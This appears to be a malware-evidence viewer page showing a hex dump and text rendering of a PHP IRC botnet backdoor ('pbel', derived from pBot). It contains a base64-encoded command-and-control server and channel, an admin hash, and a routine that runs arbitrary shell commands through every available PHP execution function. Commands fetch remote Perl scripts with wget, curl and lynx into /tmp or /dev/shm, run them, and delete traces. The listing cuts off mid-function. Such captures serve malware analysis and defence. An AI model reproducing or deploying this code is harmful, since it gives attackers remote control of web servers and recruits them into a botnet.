CLEAN MX realtime database
safe Phish viewer

hex view of evidence ...
0: 3C3F200D0A0D0A092F2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A          <? /***********************
32: 2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2F0D0A          *****************************/
64: 092F2A207062656C202D206279207330090909090909090909092A2F0D0A092F          /* pbel - by s  */ /
96: 2A20637265646974733A20746865206F726967696E616C20617574686F72206F          * credits: the original author o
128: 662070626F742028203F202909092A2F0D0A092F2A2A2A2A2A2A2A2A2A2A2A2A          f pbot ( ? ) */ /************
160: 2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A          ********************************
192: 2A2A2A2A2A2A2A2A2F0D0A0D0A0D0A097365745F74696D655F6C696D69742820          ********/ set_time_limit(
224: 3020293B0D0A096572726F725F7265706F7274696E6728203020293B0D0A0965            ); error_reporting(   ); e
256: 63686F20225375636365737321223B0D0A0D0A09636C6173732070426F74200D          cho "Success!"; class pBot
288: 0A097B0D0A090976617220247573696E675F656E636F6465203D20747275653B          { var $using_encode = true;
320: 0D0A09090D0A09097661722024636F6E666967203D206172726179280D0A0909          var $config = array(
352: 09277365727665722720093D3E2027643364334C6D31686157353063484A764C          'server' => 'd3d3Lm1haW5 cHJvL
384: 574E76626E4E3162485268626D4E354C6D4E7662513D3D272C092F2F73657276          WNvbnN1bHRhbmN5LmNvbQ==', //serv
416: 657220686572652028626173653634290D0A09090927706F72742709093D3E20          er here (base64) 'port' =>
448: 393539352C0D0A090909276368616E2709093D3E2027646D6C6A63773D3D272C          9595, 'chan' => 'dmljcw==',
480: 09092F2F6368616E6E656C206865726520286261736536342920444F204E4F54          //channel here (base64) DO NOT
512: 20555345202223222C2022236C617A7922203D20226C617A79220D0A09090927          USE "#", "#lazy" = "lazy" '
544: 6B65792709093D3E2027272C0D0A090909276E69636B666F726D27093D3E2027          key' => '', 'nickform' => '
576: 76756C6E5B25645D272C0D0A090909276964656E747027093D3E20276461726B          vuln[%d]', 'identp' => 'dark
608: 7873272C0D0A090909276D6F6465732709093D3E20272B70272C0D0A09090927          xs', 'modes' => '+p', '
640: 6D617872616E6427093D3E20352C0D0A090909276370726566697827093D3E20          maxrand' => 5, 'cprefix' =>
672: 2721272C0D0A09090927686F73742709093D3E20276A616D616963612E68696E          '!', 'host' => 'jamaica.hin
704: 65742D69702E6E6574270D0A0909293B0D0A0D0A0909766172202461646D696E          et-ip.net' ); var $admin
736: 73203D2061727261790D0A090928200D0A090909274461726B736B696C6C2720          s = array ( 'Darkskill'
768: 3D3E202732636264363265363739643839616366376631626663313462653038          => '2cbd62e679d89acf7f1bfc14be 8
800: 6230343527202F2F2070617373203D20226C6F6C5F646F6E745F7472795F6372          b 45' // pass = "lol_dont_try_cr
832: 61636B696E675F3132636861722B5F3A50220D0A0909092F2F70617373657320          acking_12char+_:P" //passes
864: 617265204D443520666F726D61742C20796F752063616E20616C736F20686176          are MD5 format, you can also hav
896: 65206D756C7469706C652061646D696E730D0A0909293B0D0A09090D0A090966          e multiple admins ); f
928: 756E6374696F6E20617574685F686F73742820246E69636B2C20247061737377          unction auth_host( $nick, $passw
960: 6F72642C2024686F737420290D0A09097B0D0A0909092461646D696E5F636F75          ord, $host ) { $admin_cou
992: 6E74203D20636F756E74282024746869732D3E61646D696E7320293B0D0A0909          nt = count( $this->admins );
1024: 09696628202461646D696E5F636F756E74203E203020290D0A0909097B0D0A09          if( $admin_count >   ) {
1056: 090909246D70617373203D206D643528202470617373776F726420293B0D0A09          $mpass = md5( $password );
1088: 0909096966282024746869732D3E61646D696E735B20246E69636B205D203D3D          if( $this->admins[ $nick ] ==
1120: 20246D7061737320290D0A090909097B0D0A090909090924746869732D3E7573          $mpass ) { $this->us
1152: 6572735B2024686F7374205D203D20747275653B0D0A090909097D0D0A090909          ers[ $host ] = true; }
1184: 7D0D0A090909656C73650D0A0909097B0D0A0909090924746869732D3E757365          } else { $this->use
1216: 72735B2024686F7374205D203D20747275653B0D0A0909097D0D0A09097D0D0A          rs[ $host ] = true; } }
1248: 09090D0A090966756E6374696F6E2069735F617574686564282024686F737420          function is_authed( $host
1280: 290D0A09097B0D0A09090972657475726E206973736574282024746869732D3E          ) { return isset( $this->
1312: 75736572735B2024686F7374205D20293B0D0A09097D0D0A09090D0A09096675          users[ $host ] ); } fu
1344: 6E6374696F6E2072656D6F76655F61757468282024686F737420290D0A09097B          nction remove_auth( $host ) {
1376: 0D0A090909756E736574282024746869732D3E75736572735B2024686F737420          unset( $this->users[ $host
1408: 5D20293B0D0A09097D0D0A09090D0A090966756E6374696F6E20657828202463          ] ); } function ex( $c
1440: 666520290D0A09097B0D0A09090924726573203D2027273B0D0A090909696620          fe ) { $res = ''; if
1472: 2821656D707479282463666529290D0A0909097B0D0A0909090969662866756E          (!empty($cfe)) { if(fun
1504: 6374696F6E5F6578697374732827636C6173735F657869737473272920262620          ction_exists('class_exists') &&
1536: 636C6173735F65786973747328275065726C2729290D0A090909097B0D0A0909          class_exists('Perl')) {
1568: 090909247065726C203D206E6577205065726C28293B0D0A0909090909247065          $perl = new Perl(); $pe
1600: 726C2D3E6576616C28202273797374656D28272463666527293B2220293B0D0A          rl->eval( "system('$cfe');" );
1632: 090909097D0D0A0909090969662866756E6374696F6E5F657869737473282765          } if(function_exists('e
1664: 7865632729290D0A090909097B0D0A0909090909406578656328246366652C24          xec')) { @exec($cfe,$
1696: 726573293B0D0A090909090924726573203D206A6F696E28225C6E222C247265          res); $res = join("\n",$re
1728: 73293B0D0A090909097D0D0A09090909656C736569662866756E6374696F6E5F          s); } elseif(function_
1760: 65786973747328277368656C6C5F657865632729290D0A090909097B0D0A0909          exists('shell_exec')) {
1792: 09090924726573203D20407368656C6C5F657865632824636665293B0D0A0909          $res = @shell_exec($cfe);
1824: 09097D0D0A09090909656C736569662866756E6374696F6E5F65786973747328          } elseif(function_exists(
1856: 2773797374656D2729290D0A090909097B0D0A0909090909406F625F73746172          'system')) { @ob_star
1888: 7428293B0D0A09090909094073797374656D2824636665293B0D0A0909090909          t(); @system($cfe);
1920: 24726573203D20406F625F6765745F636F6E74656E747328293B0D0A09090909          $res = @ob_get_contents();
1952: 09406F625F656E645F636C65616E28293B0D0A090909097D0D0A09090909656C          @ob_end_clean(); } el
1984: 736569662866756E6374696F6E5F657869737473282770617373746872752729          seif(function_exists('passthru')
2016: 290D0A090909097B0D0A0909090909406F625F737461727428293B0D0A090909          ) { @ob_start();
2048: 09094070617373746872752824636665293B0D0A090909090924726573203D20          @passthru($cfe); $res =
2080: 406F625F6765745F636F6E74656E747328293B0D0A0909090909406F625F656E          @ob_get_contents(); @ob_en
2112: 645F636C65616E28293B0D0A090909097D0D0A09090909656C73656966286675          d_clean(); } elseif(fu
2144: 6E6374696F6E5F657869737473282770726F635F6F70656E2729290D0A090909          nction_exists('proc_open'))
2176: 097B0D0A090909090924726573203D2070726F635F6F70656E2824636665293B          { $res = proc_open($cfe);
2208: 0D0A090909097D0D0A09090909656C73656966284069735F7265736F75726365          } elseif(@is_resource
2240: 282466203D2040706F70656E28246366652C2272222929290D0A090909097B0D          ($f = @popen($cfe,"r"))) {
2272: 0A090909090924726573203D2022223B0D0A09090909097768696C6528214066          $res = ""; while(!@f
2304: 656F662824662929207B2024726573202E3D204066726561642824662C313032          eof($f)) { $res .= @fread($f,1 2
2336: 34293B207D0D0A09090909094070636C6F7365282466293B0D0A090909097D0D          4); } @pclose($f); }
2368: 0A0909097D0D0A09090972657475726E20247265733B0D0A09097D0D0A09090D          } return $res; }
2400: 0A090966756E6374696F6E2069735F736166652820290D0A09097B0D0A090909          function is_safe( ) {
2432: 696628202820406572656769282022756964222C2024746869732D3E65782820          if( ( @eregi( "uid", $this->ex(
2464: 22696422202920292029207C7C20282040657265676928202257696E646F7773          "id" ) ) ) || ( @eregi( "Windows
2496: 222C2024746869732D3E65782820226E65742073746172742220292029202920          ", $this->ex( "net start" ) ) )
2528: 290D0A0909097B0D0A0909090972657475726E20303B0D0A0909097D0D0A0909          ) { return  ; }
2560: 0972657475726E20313B0D0A09097D0D0A09090D0A090966756E6374696F6E20          return 1; } function
2592: 6765745F6368616E2820290D0A09097B0D0A0909096966282024746869732D3E          get_chan( ) { if( $this->
2624: 7573696E675F656E636F646520290D0A0909097B0D0A0909090972657475726E          using_encode ) { return
2656: 202723272E6261736536345F6465636F6465282024746869732D3E636F6E6669          '#'.base64_decode( $this->confi
2688: 675B20276368616E27205D20293B0D0A0909097D0D0A090909656C73650D0A09          g[ 'chan' ] ); } else
2720: 09097B0D0A0909090972657475726E202723272E24746869732D3E636F6E6669          { return '#'.$this->confi
2752: 675B20276368616E27205D3B0D0A0909097D0D0A09097D0D0A09090D0A090966          g[ 'chan' ]; } } f
2784: 756E6374696F6E2073746172742829200D0A09097B0D0A090909696628202474          unction start() { if( $t
2816: 6869732D3E7573696E675F656E636F646520290D0A0909097B0D0A0909090969          his->using_encode ) { i
2848: 6628212824746869732D3E636F6E6E203D2066736F636B6F70656E2862617365          f(!($this->conn = fsockopen(base
2880: 36345F6465636F64652824746869732D3E636F6E6669675B2773657276657227          64_decode($this->config['server'
2912: 5D292C24746869732D3E636F6E6669675B27706F7274275D2C24652C24732C33          ]),$this->config['port'],$e,$s,3
2944: 30292929200D0A090909097B0D0A090909090924746869732D3E737461727428           ))) { $this->start(
2976: 293B200D0A090909097D0D0A0909097D0D0A090909656C73650D0A0909097B0D          ); } } else {
3008: 0A09090909696628212824746869732D3E636F6E6E203D2066736F636B6F7065          if(!($this->conn = fsockope
3040: 6E2824746869732D3E636F6E6669675B27736572766572275D2C24746869732D          n($this->config['server'],$this-
3072: 3E636F6E6669675B27706F7274275D2C24652C24732C3330292929200D0A0909          >config['port'],$e,$s,3 )))
3104: 09097B0D0A090909090924746869732D3E737461727428293B200D0A09090909          { $this->start();
3136: 7D0D0A0909097D0D0A090909090D0A090909246964656E74203D202474686973          } } $ident = $this
3168: 2D3E636F6E6669675B27707265666978275D3B0D0A09090924616C7068203D20          ->config['prefix']; $alph =
3200: 72616E6765282230222C223922293B0D0A090909666F72282024693D303B2024          range(" ","9"); for( $i= ; $
3232: 69203C2024746869732D3E636F6E6669675B276D617872616E64275D3B202469          i < $this->config['maxrand']; $i
3264: 2B2B20290D0A0909097B0D0A09090909246964656E74202E3D2024616C70685B          ++ ) { $ident .= $alph[
3296: 72616E6428302C39295D3B0D0A0909097D0D0A090909090D0A09090969662820          rand( ,9)]; } if(
3328: 7374726C656E282024746869732D3E636F6E6669675B20277061737327205D20          strlen( $this->config[ 'pass' ]
3360: 29203E203020290D0A0909097B0D0A0909090924746869732D3E73656E642820          ) >   ) { $this->send(
3392: 225041535320222E24746869732D3E636F6E6669675B20277061737327205D20          "PASS ".$this->config[ 'pass' ]
3424: 293B0D0A0909097D0D0A090909090D0A09090924746869732D3E73656E642822          ); } $this->send("
3456: 5553455220222E246964656E742E22203132372E302E302E31206C6F63616C68          USER ".$ident." 127. . .1 localh
3488: 6F7374203A222E7068705F756E616D6528292E2222293B0D0A09090924746869          ost :".php_uname().""); $thi
3520: 732D3E7365745F6E69636B2820293B0D0A09090924746869732D3E6D61696E28          s->set_nick( ); $this->main(
3552: 20293B0D0A09097D0D0A0D0A090966756E6374696F6E206D61696E2829200D0A          ); } function main()
3584: 09097B200D0A0909097768696C65282166656F662824746869732D3E636F6E6E          { while(!feof($this->conn
3616: 2929200D0A0909097B200D0A0909090924746869732D3E627566203D20747269          )) { $this->buf = tri
3648: 6D2866676574732824746869732D3E636F6E6E2C35313229293B200D0A090909          m(fgets($this->conn,512));
3680: 0924636D64203D206578706C6F6465282220222C24746869732D3E627566293B          $cmd = explode(" ",$this->buf);
3712: 200D0A090909096966287375627374722824746869732D3E6275662C302C3629          if(substr($this->buf, ,6)
3744: 3D3D2250494E47203A2229200D0A090909097B200D0A09090909092474686973          =="PING :") { $this
3776: 2D3E73656E642822504F4E47203A222E7375627374722824746869732D3E6275          ->send("PONG :".substr($this->bu
3808: 662C3629293B200D0A090909097D200D0A090909096966286973736574282463          f,6)); } if(isset($c
3840: 6D645B315D292026262024636D645B315D203D3D223030312229200D0A090909          md[1]) && $cmd[1] =="  1")
3872: 097B200D0A090909090924746869732D3E73656E6428224D4F444520222E2474          { $this->send("MODE ".$t
3904: 6869732D3E6E69636B2E2220222E24746869732D3E636F6E6669675B276D6F64          his->nick." ".$this->config['mod
3936: 6573275D293B200D0A09090909090D0A09090909096966282024746869732D3E          es']); if( $this->
3968: 7573696E675F656E636F646520290D0A09090909097B0D0A0909090909092474          using_encode ) { $t
4000: 6869732D3E6A6F696E2824746869732D3E6765745F6368616E2820292C626173          his->join($this->get_chan( ),bas
4032: 6536345F6465636F64652824746869732D3E636F6E6669675B276B6579275D29          e64_decode($this->config['key'])
4064: 293B0D0A09090909097D0D0A0909090909656C73650D0A09090909097B0D0A09          ); } else {
4096: 090909090924746869732D3E6A6F696E2824746869732D3E6765745F6368616E          $this->join($this->get_chan
4128: 2820292C24746869732D3E636F6E6669675B276B6579275D293B0D0A09090909          ( ),$this->config['key']);
4160: 097D0D0A09090909090D0A09090909096966202840696E695F67657428227361          } if (@ini_get("sa
4192: 66655F6D6F64652229206F7220737472746F6C6F7765722840696E695F676574          fe_mode") or strtolower(@ini_get
4224: 2822736166655F6D6F6465222929203D3D20226F6E2229207B2024736166656D          ("safe_mode")) == "on") { $safem
4256: 6F6465203D20226F6E223B207D0D0A0909090909656C7365207B202473616665          ode = "on"; } else { $safe
4288: 6D6F6465203D20226F6666223B207D0D0A090909090924756E616D65203D2070          mode = "off"; } $uname = p
4320: 68705F756E616D6528293B200D0A090909097D200D0A09090909696628697373          hp_uname(); } if(iss
4352: 65742824636D645B315D292026262024636D645B315D3D3D223433332229200D          et($cmd[1]) && $cmd[1]=="433")
4384: 0A090909097B200D0A090909090924746869732D3E7365745F6E69636B28293B          { $this->set_nick();
4416: 200D0A090909097D200D0A0909090969662824746869732D3E62756620213D20          } if($this->buf !=
4448: 246F6C645F62756629200D0A090909097B200D0A0909090909246D636D64203D          $old_buf) { $mcmd =
4480: 20617272617928293B200D0A0909090909246D7367203D207375627374722873          array(); $msg = substr(s
4512: 74727374722824746869732D3E6275662C22203A22292C32293B200D0A090909          trstr($this->buf," :"),2);
4544: 0909246D7367636D64203D206578706C6F6465282220222C246D7367293B200D          $msgcmd = explode(" ",$msg);
4576: 0A0909090909246E69636B203D206578706C6F6465282221222C24636D645B30          $nick = explode("!",$cmd[ 
4608: 5D293B200D0A09090909092476686F7374203D206578706C6F6465282240222C          ]); $vhost = explode("@",
4640: 246E69636B5B315D293B200D0A09090909092476686F7374203D202476686F73          $nick[1]); $vhost = $vhos
4672: 745B315D3B200D0A0909090909246E69636B203D2073756273747228246E6963          t[1]; $nick = substr($nic
4704: 6B5B305D2C31293B200D0A090909090924686F7374203D2024636D645B305D3B          k[ ],1); $host = $cmd[ ];
4736: 200D0A0909090909696628246D7367636D645B305D3D3D24746869732D3E6E69          if($msgcmd[ ]==$this->ni
4768: 636B29200D0A09090909097B200D0A090909090909666F722824693D303B2469          ck) { for($i= ;$i
4800: 3C636F756E7428246D7367636D64293B24692B2B29200D0A0909090909090924          <count($msgcmd);$i++) $
4832: 6D636D645B24695D203D20246D7367636D645B24692B315D3B200D0A09090909          mcmd[$i] = $msgcmd[$i+1];
4864: 097D200D0A0909090909656C7365200D0A09090909097B200D0A090909090909          } else {
4896: 666F722824693D303B24693C636F756E7428246D7367636D64293B24692B2B29          for($i= ;$i<count($msgcmd);$i++)
4928: 200D0A09090909090909246D636D645B24695D203D20246D7367636D645B2469          $mcmd[$i] = $msgcmd[$i
4960: 5D3B200D0A09090909097D200D0A0909090909696628636F756E742824636D64          ]; } if(count($cmd
4992: 293E3229200D0A09090909097B200D0A0909090909097377697463682824636D          )>2) { switch($cm
5024: 645B315D29200D0A0909090909097B200D0A0909090909090963617365202251          d[1]) { case "Q
5056: 554954223A0D0A090909090909097B0D0A090909090909090969662820247468          UIT": { if( $th
5088: 69732D3E69735F617574686564282024686F7374202920290D0A090909090909          is->is_authed( $host ) )
5120: 09097B0D0A09090909090909090924746869732D3E72656D6F76655F61757468          { $this->remove_auth
5152: 282024686F737420293B0D0A09090909090909097D0D0A090909090909097D0D          ( $host ); } }
5184: 0A09090909090909627265616B3B200D0A090909090909096361736520225041          break; case "PA
5216: 5254223A200D0A090909090909097B0D0A090909090909090969662820247468          RT": { if( $th
5248: 69732D3E69735F617574686564282024686F7374202920290D0A090909090909          is->is_authed( $host ) )
5280: 09097B0D0A09090909090909090924746869732D3E72656D6F76655F61757468          { $this->remove_auth
5312: 282024686F737420293B0D0A09090909090909097D0D0A090909090909097D0D          ( $host ); } }
5344: 0A09090909090909627265616B3B200D0A090909090909096361736520225052          break; case "PR
5376: 49564D5347223A200D0A09090909090909096966282028207375627374722824          IVMSG": if( ( substr($
5408: 6D636D645B305D2C302C3129203D3D2024746869732D3E636F6E6669675B2027          mcmd[ ], ,1) == $this->config[ '
5440: 6370726566697827205D20292029200D0A09090909090909097B200D0A090909          cprefix' ] ) ) {
5472: 0909090909096966282024746869732D3E69735F617574686564282024686F73          if( $this->is_authed( $hos
5504: 742029203D3D2066616C736520290D0A0909090909090909097B0D0A09090909          t ) == false ) {
5536: 09090909090973776974636828207375627374722820246D636D645B2030205D          switch( substr( $mcmd[   ]
5568: 2C2031202920290D0A090909090909090909097B0D0A09090909090909090909          , 1 ) ) {
5600: 0963617365202261757468223A0D0A09090909090909090909097B0D0A090909          case "auth": {
5632: 09090909090909090924746869732D3E617574685F686F73742820246E69636B          $this->auth_host( $nick
5664: 2C20246D636D645B2031205D2C2024686F737420293B0D0A0909090909090909          , $mcmd[ 1 ], $host );
5696: 090909096966282024746869732D3E69735F617574686564282024686F737420          if( $this->is_authed( $host
5728: 2920290D0A0909090909090909090909097B0D0A090909090909090909090909          ) ) {
5760: 0924746869732D3E707269766D7367282024746869732D3E6765745F6368616E          $this->privmsg( $this->get_chan
5792: 2820292C20225B2061757468205D205375636365737366756C206C6F67696E20          ( ), "[ auth ] Successful login
5824: 66726F6D205B20222E246E69636B2E22205D2220293B0D0A0909090909090909          from [ ".$nick." ]" );
5856: 090909097D0D0A090909090909090909090909656C73650D0A09090909090909          } else
5888: 09090909097B0D0A0909090909090909090909090924746869732D3E70726976          { $this->priv
5920: 6D7367282024746869732D3E6765745F6368616E2820292C20225B2061757468          msg( $this->get_chan( ), "[ auth
5952: 205D204661696C656420617474656D70742066726F6D205B20222E246E69636B          ] Failed attempt from [ ".$nick
5984: 2E22205D2220293B0D0A0909090909090909090909097D0D0A09090909090909          ." ]" ); }
6016: 0909090909627265616B3B0D0A09090909090909090909097D0D0A0909090909          break; }
6048: 09090909097D0D0A0909090909090909097D0D0A090909090909090909656C73          } } els
6080: 650D0A0909090909090909097B0D0A0909090909090909090973776974636828          e { switch(
6112: 73756273747228246D636D645B305D2C312929200D0A09090909090909090909          substr($mcmd[ ],1))
6144: 7B0D0A090909090909090909090963617365202265786563223A0D0A09090909          { case "exec":
6176: 090909090909097B0D0A09090909090909090909090969662820212474686973          { if( !$this
6208: 2D3E69735F7361666528202920290D0A0909090909090909090909097B0D0A09          ->is_safe( ) ) {
6240: 09090909090909090909090924636F6D6D616E64203D20737562737472282073          $command = substr( s
6272: 74727374722820246D73672C20246D636D645B305D20292C207374726C656E28          trstr( $msg, $mcmd[ ] ), strlen(
6304: 20246D636D645B305D2029202B203120293B0D0A090909090909090909090909          $mcmd[ ] ) + 1 );
6336: 092472657475726E64617461203D2024746869732D3E6578282024636F6D6D61          $returndata = $this->ex( $comma
6368: 6E6420293B0D0A090909090909090909090909096966282021656D7074792820          nd ); if( !empty(
6400: 2472657475726E64617461202920290D0A090909090909090909090909097B0D          $returndata ) ) {
6432: 0A090909090909090909090909090924746869732D3E707269766D7367282024          $this->privmsg( $
6464: 746869732D3E6765745F6368616E2820292C20275B2065786563205D20272E24          this->get_chan( ), '[ exec ] '.$
6496: 72657475726E6461746120293B0D0A090909090909090909090909097D0D0A09          returndata ); }
6528: 09090909090909090909097D0D0A090909090909090909090909627265616B3B          } break;
6560: 0D0A09090909090909090909097D0D0A09090909090909090909096361736520          } case
6592: 22696E666F223A0D0A09090909090909090909097B0D0A090909090909090909          "info": {
6624: 09090924736166656D6F6465203D20226F6E223B0D0A09090909090909090909          $safemode = "on";
6656: 0909696628202124746869732D3E69735F7361666528202920290D0A09090909          if( !$this->is_safe( ) )
6688: 09090909090909097B0D0A0909090909090909090909090924736166656D6F64          { $safemod
6720: 65203D20226F6666223B0D0A0909090909090909090909097D0D0A0909090909          e = "off"; }
6752: 0909090909090924746869732D3E707269766D7367282024746869732D3E6765          $this->privmsg( $this->ge
6784: 745F6368616E2820292C20275B20696E666F205D20272E7068705F756E616D65          t_chan( ), '[ info ] '.php_uname
6816: 2820292E27202820534146453A20272E24736166656D6F64652E272029272029          ( ).' ( SAFE: '.$safemode.' )' )
6848: 3B0D0A090909090909090909090909627265616B3B0D0A090909090909090909          ; break;
6880: 09097D0D0A090909090909090909090963617365202273616665223A0D0A0909          } case "safe":
6912: 0909090909090909097B0D0A09090909090909090909090924736166656D6F64          { $safemod
6944: 65203D20226F6E223B0D0A090909090909090909090909696628202124746869          e = "on"; if( !$thi
6976: 732D3E69735F7361666528202920290D0A0909090909090909090909097B0D0A          s->is_safe( ) ) {
7008: 0909090909090909090909090924736166656D6F6465203D20226F6666223B0D          $safemode = "off";
7040: 0A0909090909090909090909097D0D0A09090909090909090909090924746869          } $thi
7072: 732D3E707269766D7367282024746869732D3E6765745F6368616E2820292C20          s->privmsg( $this->get_chan( ),
7104: 275B2073616665205D20272E24736166656D6F646520293B0D0A090909090909          '[ safe ] '.$safemode );
7136: 090909090909627265616B3B0D0A09090909090909090909097D0D0A09090909          break; }
7168: 09090909090909636173652022756E616D65223A0D0A09090909090909090909          case "uname":
7200: 097B0D0A09090909090909090909090924746869732D3E707269766D73672820          { $this->privmsg(
7232: 24746869732D3E6765745F6368616E2820292C20275B20756E616D65205D2027          $this->get_chan( ), '[ uname ] '
7264: 2E7068705F756E616D6528202920293B0D0A0909090909090909090909096272          .php_uname( ) ); br
7296: 65616B3B0D0A09090909090909090909097D0D0A090909090909090909090963          eak; } c
7328: 61736520227065726C223A0D0A09090909090909090909097B0D0A0909090909          ase "perl": {
7360: 090909090909096966282024746869732D3E69735F7361666528202920290D0A          if( $this->is_safe( ) )
7392: 0909090909090909090909097B0D0A0909090909090909090909090924746869          { $thi
7424: 732D3E707269766D7367282024746869732D3E6765745F6368616E2820292C20          s->privmsg( $this->get_chan( ),
7456: 275B2064726F707065726C205D2053616665206D6F6465206973204F4E272029          '[ dropperl ] Safe mode is ON' )
7488: 3B0D0A09090909090909090909090909627265616B3B0D0A0909090909090909          ; break;
7520: 090909097D0D0A0909090909090909090909090D0A0909090909090909090909          }
7552: 09247065726C5F66696C65203D20246D636D645B315D3B0D0A09090909090909          $perl_file = $mcmd[1];
7584: 09090909090D0A0909090909090909090909096966282021656D707479282024          if( !empty( $
7616: 7065726C5F66696C65202920290D0A0909090909090909090909097B0D0A0909          perl_file ) ) {
7648: 0909090909090909090909247061727365645F75726C203D2024746869732D3E          $parsed_url = $this->
7680: 70617273655F75726C5F732820247065726C5F66696C6520293B0D0A09090909          parse_url_s( $perl_file );
7712: 0909090909090909090D0A09090909090909090909090909246E65775F72656D          $new_rem
7744: 6F7465203D20247061727365645F75726C5B2027736368656D6527205D2E273A          ote = $parsed_url[ 'scheme' ].':
7776: 2F2F272E247061727365645F75726C5B2027686F737427205D2E247061727365          //'.$parsed_url[ 'host' ].$parse
7808: 645F75726C5B202764697227205D2E272F273B0D0A0909090909090909090909          d_url[ 'dir' ].'/';
7840: 0909246E65775F6C6F63616C20093D20247061727365645F75726C5B20276669          $new_local = $parsed_url[ 'fi
7872: 6C6527205D3B0D0A090909090909090909090909092466696C655F7479706509          le' ]; $file_type
7904: 3D20247061727365645F75726C5B202766696C655F65787427205D3B0D0A0909          = $parsed_url[ 'file_ext' ];
7936: 09090909090909090909090D0A0909090909090909090909090924746869732D          $this-
7968: 3E657828276364202F746D703B7767657420272E246E65775F72656D6F74652E          >ex('cd /tmp;wget '.$new_remote.
8000: 246E65775F6C6F63616C2E273B7065726C20272E246E65775F6C6F63616C2E27          $new_local.';perl '.$new_local.'
8032: 3B726D202D7266202A272E2466696C655F747970652E272A27293B0D0A090909          ;rm -rf *'.$file_type.'*');
8064: 0909090909090909090924746869732D3E657828276364202F746D703B637572          $this->ex('cd /tmp;cur
8096: 6C202D4F20272E246E65775F72656D6F74652E246E65775F6C6F63616C2E273B          l -O '.$new_remote.$new_local.';
8128: 7065726C20272E246E65775F6C6F63616C2E273B726D202D7266202A272E2466          perl '.$new_local.';rm -rf *'.$f
8160: 696C655F747970652E272A27293B0D0A09090909090909090909090909247468          ile_type.'*'); $th
8192: 69732D3E657828276364202F746D703B6C77702D646F776E6C6F616420272E24          is->ex('cd /tmp;lwp-download '.$
8224: 6E65775F72656D6F74652E246E65775F6C6F63616C2E273B7065726C20272E24          new_remote.$new_local.';perl '.$
8256: 6E65775F6C6F63616C2E273B726D202D7266202A272E2466696C655F74797065          new_local.';rm -rf *'.$file_type
8288: 2E272A27293B0D0A0909090909090909090909090924746869732D3E65782827          .'*'); $this->ex('
8320: 6364202F746D703B6C796E78202D736F7572636520272E246E65775F72656D6F          cd /tmp;lynx -source '.$new_remo
8352: 74652E246E65775F6C6F63616C2E273B7065726C20272E246E65775F6C6F6361          te.$new_local.';perl '.$new_loca
8384: 6C2E273B726D202D7266202A272E2466696C655F747970652E272A27293B0D0A          l.';rm -rf *'.$file_type.'*');
8416: 0909090909090909090909090924746869732D3E657828276364202F6465762F          $this->ex('cd /dev/
8448: 73686D3B7767657420272E246E65775F72656D6F74652E246E65775F6C6F6361          shm;wget '.$new_remote.$new_loca
8480: 6C2E273B7065726C20272E246E65775F6C6F63616C2E273B726D202D7266202A          l.';perl '.$new_local.';rm -rf *
8512: 272E2466696C655F747970652E272A27293B0D0A090909090909090909090909          '.$file_type.'*');
8544: 0924746869732D3E657828276364202F6465762F73686D3B6375726C202D4F20          $this->ex('cd /dev/shm;curl -O
8576: 272E246E65775F72656D6F74652E246E65775F6C6F63616C2E273B7065726C20          '.$new_remote.$new_local.';perl
8608: 272E246E65775F6C6F63616C2E273B726D202D7266202A272E2466696C655F74          '.$new_local.';rm -rf *'.$file_t
8640: 7970652E272A27293B0D0A0909090909090909090909090924746869732D3E65          ype.'*'); $this->e
8672: 7828276364202F6465762F73686D3B6C77702D646F776E6C6F616420272E246E          x('cd /dev/shm;lwp-download '.$n
8704: 65775F72656D6F74652E246E65775F6C6F63616C2E273B7065726C20272E246E          ew_remote.$new_local.';perl '.$n
8736: 65775F6C6F63616C2E273B726D202D7266202A272E2466696C655F747970652E          ew_local.';rm -rf *'.$file_type.
8768: 272A27293B0D0A0909090909090909090909090924746869732D3E6578282763          '*'); $this->ex('c
8800: 64202F6465762F73686D3B6C796E78202D736F7572636520272E246E65775F72          d /dev/shm;lynx -source '.$new_r
8832: 656D6F74652E246E65775F6C6F63616C2E273B7065726C20272E246E65775F6C          emote.$new_local.';perl '.$new_l
8864: 6F63616C2E273B726D202D7266202A272E2466696C655F747970652E272A2729          ocal.';rm -rf *'.$file_type.'*')
8896: 3B0D0A0909090909090909090909090924746869732D3E657828276364202F74          ; $this->ex('cd /t
8928: 6D703B726D202D7266202A272E2466696C655F747970652E272A2A27293B0D0A          mp;rm -rf *'.$file_type.'**');
8960: 0909090909090909090909090924746869732D3E657828276364202F6465762F          $this->ex('cd /dev/
8992: 73686D3B726D202D7266202A272E2466696C655F747970652E272A2A27293B0D          shm;rm -rf *'.$file_type.'**');
9024: 0A090909090909090909090909090D0A09090909090909090909090909247468          $th
9056: 69732D3E707269766D7367282024746869732D3E6765745F6368616E2820292C          is->privmsg( $this->get_chan( ),
9088: 20275B2065786563726669205D2045786563757465642066696C6520272E246E          '[ execrfi ] Executed file '.$n
9120: 65775F72656D6F74652E246E65775F6C6F63616C20293B0D0A09090909090909          ew_remote.$new_local );
9152: 090909090909627265616B3B0D0A0909090909090909090909097D0D0A090909          break; }
9184: 0909090909090909090D0A09090909090909090909090924746869732D3E7072          $this->pr
9216: 69766D7367282024746869732D3E6765745F6368616E2820292C20275B206578          ivmsg( $this->get_chan( ), '[ ex
9248: 6563726669205D204661696C75726520657865637574696E6720272E24706572          ecrfi ] Failure executing '.$per
9280: 6C5F66696C6520293B0D0A090909090909090909090909627265616B3B0D0A09          l_file ); break;
9312: 090909090909090909097D0D0A09090909090909090909096361736520226970          } case "ip
9344: 223A0D0A09090909090909090909097B0D0A0909090909090909090909092474          ": { $t
9376: 6869732D3E707269766D7367282024746869732D3E6765745F6368616E282029          his->privmsg( $this->get_chan( )
9408: 2C20275B206970205D20272E245F5345525645525B275345525645525F414444          , '[ ip ] '.$_SERVER['SERVER_ADD
9440: 52275D20293B0D0A090909090909090909090909627265616B3B0D0A09090909          R'] ); break;
9472: 090909090909097D0D0A0909090909090909090909636173652022726669223A          } case "rfi":
9504: 0D0A09090909090909090909097B0D0A0909090909090909090909092466696C          { $fil
9536: 6555726C203D20246D636D645B315D3B0D0A0909090909090909090909090D0A          eUrl = $mcmd[1];
9568: 0909090909090909090909096966282021656D70747928202466696C6555726C          if( !empty( $fileUrl
9600: 202920290D0A0909090909090909090909097B0D0A0909090909090909090909          ) ) {
9632: 09092475726C69203D2070617273655F75726C28202466696C6555726C20293B          $urli = parse_url( $fileUrl );
